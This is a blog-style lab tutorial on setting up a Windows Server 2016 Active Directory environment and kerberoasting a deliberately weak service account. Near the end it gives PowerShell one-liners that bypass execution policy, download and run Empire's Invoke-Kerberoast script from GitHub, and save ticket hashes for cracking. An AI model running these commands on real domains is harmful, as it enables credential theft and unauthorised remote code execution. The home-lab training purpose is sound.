Feel free to follow me on Twitter at @_markmo_ (yes with the underscores)
From my experience, the hardest part of kerberoasting is setting up the environment. I’ll go over setup all the way to cracking the password. Obviously, only run any scripts on your own machines at your own risk and this is for educational purposes.
Download a windows 2016 server image from Microsoft evaluation site
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016
You don’t need to user real information to evaluate the software
Install the ISO on your choice of VM host. I’m using VMware.
If it asks for you for a license key ignore it
If you are using VMware and you see this then VMware has added a floppy disk that you need to remove
Just do this (also, give yourself more ram if you can, default is 2gb I gave myself 8gb)
If you get prompted to install from the CD, do click any button. When you get here be sure to install the desktop experience
on the next screen it asks for a typical or custom option, take the custom option and the only thing you get to select is the disk location. If all goes well you will be logged in. Take a snap shot in case you mess something up.
At this point you are ready to install Active directory. Here is the best guide I’ve seen. No point in re-inventing the wheel just follow this to install AD. One note, if you are not planning to setup other server in your active directory lab, you don’t need to mess with your network settings on step one of the document
Follow this guide to setup AD on your 2016 server. It is the easiest hands on guide I’ve seen
Once you have Active Directory installed go to a command prompt and type whoami and you should see your domain
For simplicity sake, we will setup one Service Principal Name (SPN) to practices roasting. We will give it a password that is contained in the rockyou.txt password dictionary that comes with Kali Linux.
Type DSA.MSC
select right click on your domain and select “New” then “User” from the fly out menus
Lets create a fake SQL service account
I’m picking this for the password as it is in Rockyou.txt for demonstration purposes. I suggest you do the same for your first roast.
Enter the password and set the password not to expire and don’t make the user change the password and don’t let the user change the password. Make it look like this.
Now we will make our Service Principal Name (SPN). Echo your computer name. You need your computer name for the setspn command
Now we will create the SPN
We will be able to verify we got it setup correctly by calling setSPN command again.
Before attempting kerberoast or any tool or script, always take a snapshot. I always take a snapshot before testing any tool. It might be malicious.
If you are an unprivileged users and need to bypass some powershell restrictions you can use this
powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat
If you just want the hash for cracking you can use this and dump the file to C:\Users\Public\HashCapture.txt
IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath ‘c:\users\public\HashCapture.txt’ -Width 8000
Either way now we need to crack it. Copy the Hash to your kali box on one single line and save the file. I’m creating a file called test.txt
Run this command (I’m running pot file disabled as I’ve already cracked it)
In a few minutes you should see it is cracked if you entered your password correctly and the password is in your password dictionary and you can see the password in the capture.cracked output file
I hope you learned something. Follow me on twitter @_markmo_ (yes with the underscore)
